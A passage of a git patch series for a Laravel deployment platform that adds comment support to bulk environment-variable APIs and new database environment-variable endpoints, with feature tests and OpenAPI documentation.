($item->has('is_buildtime') && $env->is_buildtime != $item->get('is_buildtime')) { $env->is_buildtime = $item->get('is_buildtime'); } + if ($item->has('comment') && $env->comment != $item->get('comment')) { + $env->comment = $item->get('comment'); + } $env->save(); } else { $env = $application->environment_variables()->create([ @@ -3265,6 +3273,7 @@ public function create_bulk_envs(Request $request) 'is_shown_once' => $is_shown_once, 'is_runtime' => $item->get('is_runtime', true), 'is_buildtime' => $item->get('is_buildtime', true), + 'comment' => $item->get('comment'), 'resourceable_type' => get_class($application), 'resourceable_id' => $application->id, ]); diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index de504c1a4..4caee26dd 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -1362,6 +1362,7 @@ public function create_bulk_envs(Request $request) 'is_literal' => 'boolean', 'is_multiline' => 'boolean', 'is_shown_once' => 'boolean', + 'comment' => 'string|nullable|max:256', ]); if ($validator->fails()) { diff --git a/tests/Feature/EnvironmentVariableBulkCommentApiTest.php b/tests/Feature/EnvironmentVariableBulkCommentApiTest.php new file mode 100644 index 000000000..f038ad682 --- /dev/null +++ b/tests/Feature/EnvironmentVariableBulkCommentApiTest.php @@ -0,0 +1,244 @@ + 0]); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + session(['currentTeam' => $this->team]); + + $this->token = $this->user->createToken('test-token', ['*']); + $this->bearerToken = $this->token->plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +describe('PATCH /api/v1/applications/{uuid}/envs/bulk', function () { + test('creates environment variables with comments', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'DB_HOST', + 'value' => 'localhost', + 'comment' => 'Database host for production', + ], + [ + 'key' => 'DB_PORT', + 'value' => '5432', + ], + ], + ]); + + $response->assertStatus(201); + + $envWithComment = EnvironmentVariable::where('key', 'DB_HOST') + ->where('resourceable_id', $application->id) + ->where('is_preview', false) + ->first(); + + $envWithoutComment = EnvironmentVariable::where('key', 'DB_PORT') + ->where('resourceable_id', $application->id) + ->where('is_preview', false) + ->first(); + + expect($envWithComment->comment)->toBe('Database host for production'); + expect($envWithoutComment->comment)->toBeNull(); + }); + + test('updates existing environment variable comment', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + EnvironmentVariable::create([ + 'key' => 'API_KEY', + 'value' => 'old-key', + 'comment' => 'Old comment', + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, + 'is_preview' => false, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'API_KEY', + 'value' => 'new-key', + 'comment' => 'Updated comment', + ], + ], + ]); + + $response->assertStatus(201); + + $env = EnvironmentVariable::where('key', 'API_KEY') + ->where('resourceable_id', $application->id) + ->where('is_preview', false) + ->first(); + + expect($env->value)->toBe('new-key'); + expect($env->comment)->toBe('Updated comment'); + }); + + test('preserves existing comment when not provided in bulk update', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + EnvironmentVariable::create([ + 'key' => 'SECRET', + 'value' => 'old-secret', + 'comment' => 'Keep this comment', + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, + 'is_preview' => false, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'SECRET', + 'value' => 'new-secret', + ], + ], + ]); + + $response->assertStatus(201); + + $env = EnvironmentVariable::where('key', 'SECRET') + ->where('resourceable_id', $application->id) + ->where('is_preview', false) + ->first(); + + expect($env->value)->toBe('new-secret'); + expect($env->comment)->toBe('Keep this comment'); + }); + + test('rejects comment exceeding 256 characters', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$application->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'TEST_VAR', + 'value' => 'value', + 'comment' => str_repeat('a', 257), + ], + ], + ]); + + $response->assertStatus(422); + }); +}); + +describe('PATCH /api/v1/services/{uuid}/envs/bulk', function () { + test('creates environment variables with comments', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/services/{$service->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'REDIS_HOST', + 'value' => 'redis', + 'comment' => 'Redis cache host', + ], + [ + 'key' => 'REDIS_PORT', + 'value' => '6379', + ], + ], + ]); + + $response->assertStatus(201); + + $envWithComment = EnvironmentVariable::where('key', 'REDIS_HOST') + ->where('resourceable_id', $service->id) + ->where('resourceable_type', Service::class) + ->first(); + + $envWithoutComment = EnvironmentVariable::where('key', 'REDIS_PORT') + ->where('resourceable_id', $service->id) + ->where('resourceable_type', Service::class) + ->first(); + + expect($envWithComment->comment)->toBe('Redis cache host'); + expect($envWithoutComment->comment)->toBeNull(); + }); + + test('rejects comment exceeding 256 characters', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/services/{$service->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'TEST_VAR', + 'value' => 'value', + 'comment' => str_repeat('a', 257), + ], + ], + ]); + + $response->assertStatus(422); + }); +}); From c00d5de03e9a943270db8bebe7e360b444da24b8 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 19 Mar 2026 23:29:50 +0100 Subject: [PATCH 232/305] feat(api): add database environment variable management endpoints Add CRUD API endpoints for managing environment variables on databases: - GET /databases/{uuid}/envs - list environment variables - POST /databases/{uuid}/envs - create environment variable - PATCH /databases/{uuid}/envs - update environment variable - PATCH /databases/{uuid}/envs/bulk - bulk create environment variables - DELETE /databases/{uuid}/envs/{env_uuid} - delete environment variable Includes comprehensive test suite and OpenAPI documentation. --- .../Controllers/Api/DatabasesController.php | 548 ++++++++++++++++++ openapi.json | 381 ++++++++++++ openapi.yaml | 236 ++++++++ routes/api.php | 6 + .../DatabaseEnvironmentVariableApiTest.php | 346 +++++++++++ 5 files changed, 1517 insertions(+) create mode 100644 tests/Feature/DatabaseEnvironmentVariableApiTest.php diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index f7a62cf90..6ad18d872 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -11,6 +11,7 @@ use App\Http\Controllers\Controller; use App\Jobs\DatabaseBackupJob; use App\Jobs\DeleteResourceJob; +use App\Models\EnvironmentVariable; use App\Models\Project; use App\Models\S3Storage; use App\Models\ScheduledDatabaseBackup; @@ -2750,4 +2751,551 @@ public function action_restart(Request $request) 200 ); } + + private function removeSensitiveEnvData($env) + { + $env->makeHidden([ + 'id', + 'resourceable', + 'resourceable_id', + 'resourceable_type', + ]); + if (request()->attributes->get('can_read_sensitive', false) === false) { + $env->makeHidden([ + 'value', + 'real_value', + ]); + } + + return serializeApiResponse($env); + } + + #[OA\Get( + summary: 'List Envs', + description: 'List all envs by database UUID.', + path: '/databases/{uuid}/envs', + operationId: 'list-envs-by-database-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Databases'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the database.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'Environment variables.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'array', + items: new OA\Items(ref: '#/components/schemas/EnvironmentVariable') + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function envs(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + $database = queryDatabaseByUuidWithinTeam($request->uuid, $teamId); + if (! $database) { + return response()->json(['message' => 'Database not found.'], 404); + } + + $this->authorize('view', $database); + + $envs = $database->environment_variables->map(function ($env) { + return $this->removeSensitiveEnvData($env); + }); + + return response()->json($envs); + } + + #[OA\Patch( + summary: 'Update Env', + description: 'Update env by database UUID.', + path: '/databases/{uuid}/envs', + operationId: 'update-env-by-database-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Databases'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the database.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Env updated.', + required: true, + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + required: ['key', 'value'], + properties: [ + 'key' => ['type' => 'string', 'description' => 'The key of the environment variable.'], + 'value' => ['type' => 'string', 'description' => 'The value of the environment variable.'], + 'is_literal' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable is a literal, nothing espaced.'], + 'is_multiline' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable is multiline.'], + 'is_shown_once' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable\'s value is shown on the UI.'], + ], + ), + ), + ], + ), + responses: [ + new OA\Response( + response: 201, + description: 'Environment variable updated.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + ref: '#/components/schemas/EnvironmentVariable' + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function update_env_by_uuid(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $database = queryDatabaseByUuidWithinTeam($request->route('uuid'), $teamId); + if (! $database) { + return response()->json(['message' => 'Database not found.'], 404); + } + + $this->authorize('manageEnvironment', $database); + + $validator = customApiValidator($request->all(), [ + 'key' => 'string|required', + 'value' => 'string|nullable', + 'is_literal' => 'boolean', + 'is_multiline' => 'boolean', + 'is_shown_once' => 'boolean', + 'comment' => 'string|nullable|max:256', + ]); + + if ($validator->fails()) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $validator->errors(), + ], 422); + } + + $key = str($request->key)->trim()->replace(' ', '_')->value; + $env = $database->environment_variables()->where('key', $key)->first(); + if (! $env) { + return response()->json(['message' => 'Environment variable not found.'], 404); + } + + $env->value = $request->value; + if ($request->has('is_literal')) { + $env->is_literal = $request->is_literal; + } + if ($request->has('is_multiline')) { + $env->is_multiline = $request->is_multiline; + } + if ($request->has('is_shown_once')) { + $env->is_shown_once = $request->is_shown_once; + } + if ($request->has('comment')) { + $env->comment = $request->comment; + } + $env->save(); + + return response()->json($this->removeSensitiveEnvData($env))->setStatusCode(201); + } + + #[OA\Patch( + summary: 'Update Envs (Bulk)', + description: 'Update multiple envs by database UUID.', + path: '/databases/{uuid}/envs/bulk', + operationId: 'update-envs-by-database-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Databases'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the database.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Bulk envs updated.', + required: true, + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + required: ['data'], + properties: [ + 'data' => [ + 'type' => 'array', + 'items' => new OA\Schema( + type: 'object', + properties: [ + 'key' => ['type' => 'string', 'description' => 'The key of the environment variable.'], + 'value' => ['type' => 'string', 'description' => 'The value of the environment variable.'], + 'is_literal' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable is a literal, nothing espaced.'], + 'is_multiline' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable is multiline.'], + 'is_shown_once' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable\'s value is shown on the UI.'], + ], + ), + ], + ], + ), + ), + ], + ), + responses: [ + new OA\Response( + response: 201, + description: 'Environment variables updated.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'array', + items: new OA\Items(ref: '#/components/schemas/EnvironmentVariable') + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function create_bulk_envs(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $database = queryDatabaseByUuidWithinTeam($request->route('uuid'), $teamId); + if (! $database) { + return response()->json(['message' => 'Database not found.'], 404); + } + + $this->authorize('manageEnvironment', $database); + + $bulk_data = $request->get('data'); + if (! $bulk_data) { + return response()->json(['message' => 'Bulk data is required.'], 400); + } + + $updatedEnvs = collect(); + foreach ($bulk_data as $item) { + $validator = customApiValidator($item, [ + 'key' => 'string|required', + 'value' => 'string|nullable', + 'is_literal' => 'boolean', + 'is_multiline' => 'boolean', + 'is_shown_once' => 'boolean', + 'comment' => 'string|nullable|max:256', + ]); + + if ($validator->fails()) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $validator->errors(), + ], 422); + } + $key = str($item['key'])->trim()->replace(' ', '_')->value; + $env = $database->environment_variables()->updateOrCreate( + ['key' => $key], + $item + ); + + $updatedEnvs->push($this->removeSensitiveEnvData($env)); + } + + return response()->json($updatedEnvs)->setStatusCode(201); + } + + #[OA\Post( + summary: 'Create Env', + description: 'Create env by database UUID.', + path: '/databases/{uuid}/envs', + operationId: 'create-env-by-database-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Databases'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the database.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + required: true, + description: 'Env created.', + content: new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'key' => ['type' => 'string', 'description' => 'The key of the environment variable.'], + 'value' => ['type' => 'string', 'description' => 'The value of the environment variable.'], + 'is_literal' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable is a literal, nothing espaced.'], + 'is_multiline' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable is multiline.'], + 'is_shown_once' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable\'s value is shown on the UI.'], + ], + ), + ), + ), + responses: [ + new OA\Response( + response: 201, + description: 'Environment variable created.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'uuid' => ['type' => 'string', 'example' => 'nc0k04gk8g0cgsk440g0koko'], + ] + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function create_env(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $database = queryDatabaseByUuidWithinTeam($request->route('uuid'), $teamId); + if (! $database) { + return response()->json(['message' => 'Database not found.'], 404); + } + + $this->authorize('manageEnvironment', $database); + + $validator = customApiValidator($request->all(), [ + 'key' => 'string|required', + 'value' => 'string|nullable', + 'is_literal' => 'boolean', + 'is_multiline' => 'boolean', + 'is_shown_once' => 'boolean', + 'comment' => 'string|nullable|max:256', + ]); + + if ($validator->fails()) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $validator->errors(), + ], 422); + } + + $key = str($request->key)->trim()->replace(' ', '_')->value; + $existingEnv = $database->environment_variables()->where('key', $key)->first(); + if ($existingEnv) { + return response()->json([ + 'message' => 'Environment variable already exists. Use PATCH request to update it.', + ], 409); + } + + $env = $database->environment_variables()->create([ + 'key' => $key, + 'value' => $request->value, + 'is_literal' => $request->is_literal ?? false, + 'is_multiline' => $request->is_multiline ?? false, + 'is_shown_once' => $request->is_shown_once ?? false, + 'comment' => $request->comment ?? null, + ]); + + return response()->json($this->removeSensitiveEnvData($env))->setStatusCode(201); + } + + #[OA\Delete( + summary: 'Delete Env', + description: 'Delete env by UUID.', + path: '/databases/{uuid}/envs/{env_uuid}', + operationId: 'delete-env-by-database-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Databases'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the database.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + new OA\Parameter( + name: 'env_uuid', + in: 'path', + description: 'UUID of the environment variable.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'Environment variable deleted.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'message' => ['type' => 'string', 'example' => 'Environment variable deleted.'], + ] + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function delete_env_by_uuid(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $database = queryDatabaseByUuidWithinTeam($request->route('uuid'), $teamId); + if (! $database) { + return response()->json(['message' => 'Database not found.'], 404); + } + + $this->authorize('manageEnvironment', $database); + + $env = EnvironmentVariable::where('uuid', $request->route('env_uuid')) + ->where('resourceable_type', get_class($database)) + ->where('resourceable_id', $database->id) + ->first(); + + if (! $env) { + return response()->json(['message' => 'Environment variable not found.'], 404); + } + + $env->forceDelete(); + + return response()->json(['message' => 'Environment variable deleted.']); + } } diff --git a/openapi.json b/openapi.json index 5477420ab..d119176a1 100644 --- a/openapi.json +++ b/openapi.json @@ -6132,6 +6132,387 @@ ] } }, + "\/databases\/{uuid}\/envs": { + "get": { + "tags": [ + "Databases" + ], + "summary": "List Envs", + "description": "List all envs by database UUID.", + "operationId": "list-envs-by-database-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the database.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Environment variables.", + "content": { + "application\/json": { + "schema": { + "type": "array", + "items": { + "$ref": "#\/components\/schemas\/EnvironmentVariable" + } + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "post": { + "tags": [ + "Databases" + ], + "summary": "Create Env", + "description": "Create env by database UUID.", + "operationId": "create-env-by-database-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the database.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Env created.", + "required": true, + "content": { + "application\/json": { + "schema": { + "properties": { + "key": { + "type": "string", + "description": "The key of the environment variable." + }, + "value": { + "type": "string", + "description": "The value of the environment variable." + }, + "is_literal": { + "type": "boolean", + "description": "The flag to indicate if the environment variable is a literal, nothing espaced." + }, + "is_multiline": { + "type": "boolean", + "description": "The flag to indicate if the environment variable is multiline." + }, + "is_shown_once": { + "type": "boolean", + "description": "The flag to indicate if the environment variable's value is shown on the UI." + } + }, + "type": "object" + } + } + } + }, + "responses": { + "201": { + "description": "Environment variable created.", + "content": { + "application\/json": { + "schema": { + "properties": { + "uuid": { + "type": "string", + "example": "nc0k04gk8g0cgsk440g0koko" + } + }, + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "patch": { + "tags": [ + "Databases" + ], + "summary": "Update Env", + "description": "Update env by database UUID.", + "operationId": "update-env-by-database-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the database.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Env updated.", + "required": true, + "content": { + "application\/json": { + "schema": { + "required": [ + "key", + "value" + ], + "properties": { + "key": { + "type": "string", + "description": "The key of the environment variable." + }, + "value": { + "type": "string", + "description": "The value of the environment variable." + }, + "is_literal": { + "type": "boolean", + "description": "The flag to indicate if the environment variable is a literal, nothing espaced." + }, + "is_multiline": { + "type": "boolean", + "description": "The flag to indicate if the environment variable is multiline." + }, + "is_shown_once": { + "type": "boolean", + "description": "The flag to indicate if the environment variable's value is shown on the UI." + } + }, + "type": "object" + } + } + } + }, + "responses": { + "201": { + "description": "Environment variable updated.", + "content": { + "application\/json": { + "schema": { + "$ref": "#\/components\/schemas\/EnvironmentVariable" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/databases\/{uuid}\/envs\/bulk": { + "patch": { + "tags": [ + "Databases" + ], + "summary": "Update Envs (Bulk)", + "description": "Update multiple envs by database UUID.", + "operationId": "update-envs-by-database-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the database.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Bulk envs updated.", + "required": true, + "content": { + "application\/json": { + "schema": { + "required": [ + "data" + ], + "properties": { + "data": { + "type": "array", + "items": { + "properties": { + "key": { + "type": "string", + "description": "The key of the environment variable." + }, + "value": { + "type": "string", + "description": "The value of the environment variable." + }, + "is_literal": { + "type": "boolean", + "description": "The flag to indicate if the environment variable is a literal, nothing espaced." + }, + "is_multiline": { + "type": "boolean", + "description": "The flag to indicate if the environment variable is multiline." + }, + "is_shown_once": { + "type": "boolean", + "description": "The flag to indicate if the environment variable's value is shown on the UI." + } + }, + "type": "object" + } + } + }, + "type": "object" + } + } + } + }, + "responses": { + "201": { + "description": "Environment variables updated.", + "content": { + "application\/json": { + "schema": { + "type": "array", + "items": { + "$ref": "#\/components\/schemas\/EnvironmentVariable" + } + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/databases\/{uuid}\/envs\/{env_uuid}": { + "delete": { + "tags": [ + "Databases" + ], + "summary": "Delete Env", + "description": "Delete env by UUID.", + "operationId": "delete-env-by-database-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the database.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "env_uuid", + "in": "path", + "description": "UUID of the environment variable.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Environment variable deleted.", + "content": { + "application\/json": { + "schema": { + "properties": { + "message": { + "type": "string", + "example": "Environment variable deleted." + } + }, + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, "\/deployments": { "get": { "tags": [ diff --git a/openapi.yaml b/openapi.yaml index dd03f9c42..7064be28a 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -3973,6 +3973,242 @@ paths: security: - bearerAuth: [] + '/databases/{uuid}/envs': + get: + tags: + - Databases + summary: 'List Envs' + description: 'List all envs by database UUID.' + operationId: list-envs-by-database-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the database.' + required: true + schema: + type: string + responses: + '200': + description: 'Environment variables.' + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/EnvironmentVariable' + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] + post: + tags: + - Databases + summary: 'Create Env' + description: 'Create env by database UUID.' + operationId: create-env-by-database-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the database.' + required: true + schema: + type: string + requestBody: + description: 'Env created.' + required: true + content: + application/json: + schema: + properties: + key: + type: string + description: 'The key of the environment variable.' + value: + type: string + description: 'The value of the environment variable.' + is_literal: + type: boolean + description: 'The flag to indicate if the environment variable is a literal, nothing espaced.' + is_multiline: + type: boolean + description: 'The flag to indicate if the environment variable is multiline.' + is_shown_once: + type: boolean + description: "The flag to indicate if the environment variable's value is shown on the UI." + type: object + responses: + '201': + description: 'Environment variable created.' + content: + application/json: + schema: + properties: + uuid: { type: string, example: nc0k04gk8g0cgsk440g0koko } + type: object + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + patch: + tags: + - Databases + summary: 'Update Env' + description: 'Update env by database UUID.' + operationId: update-env-by-database-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the database.' + required: true + schema: + type: string + requestBody: + description: 'Env updated.' + required: true + content: + application/json: + schema: + required: + - key + - value + properties: + key: + type: string + description: 'The key of the environment variable.' + value: + type: string + description: 'The value of the environment variable.' + is_literal: + type: boolean + description: 'The flag to indicate if the environment variable is a literal, nothing espaced.' + is_multiline: + type: boolean + description: 'The flag to indicate if the environment variable is multiline.' + is_shown_once: + type: boolean + description: "The flag to indicate if the environment variable's value is shown on the UI." + type: object + responses: + '201': + description: 'Environment variable updated.' + content: + application/json: + schema: + $ref: '#/components/schemas/EnvironmentVariable' + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + '/databases/{uuid}/envs/bulk': + patch: + tags: + - Databases + summary: 'Update Envs (Bulk)' + description: 'Update multiple envs by database UUID.' + operationId: update-envs-by-database-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the database.' + required: true + schema: + type: string + requestBody: + description: 'Bulk envs updated.' + required: true + content: + application/json: + schema: + required: + - data + properties: + data: + type: array + items: { properties: { key: { type: string, description: 'The key of the environment variable.' }, value: { type: string, description: 'The value of the environment variable.' }, is_literal: { type: boolean, description: 'The flag to indicate if the environment variable is a literal, nothing espaced.' }, is_multiline: { type: boolean, description: 'The flag to indicate if the environment variable is multiline.' }, is_shown_once: { type: boolean, description: "The flag to indicate if the environment variable's value is shown on the UI." } }, type: object } + type: object + responses: + '201': + description: 'Environment variables updated.' + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/EnvironmentVariable' + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + '/databases/{uuid}/envs/{env_uuid}': + delete: + tags: + - Databases + summary: 'Delete Env' + description: 'Delete env by UUID.' + operationId: delete-env-by-database-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the database.' + required: true + schema: + type: string + - + name: env_uuid + in: path + description: 'UUID of the environment variable.' + required: true + schema: + type: string + responses: + '200': + description: 'Environment variable deleted.' + content: + application/json: + schema: + properties: + message: { type: string, example: 'Environment variable deleted.' } + type: object + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] /deployments: get: tags: diff --git a/routes/api.php b/routes/api.php index b02682a5b..1de365c49 100644 --- a/routes/api.php +++ b/routes/api.php @@ -154,6 +154,12 @@ Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}', 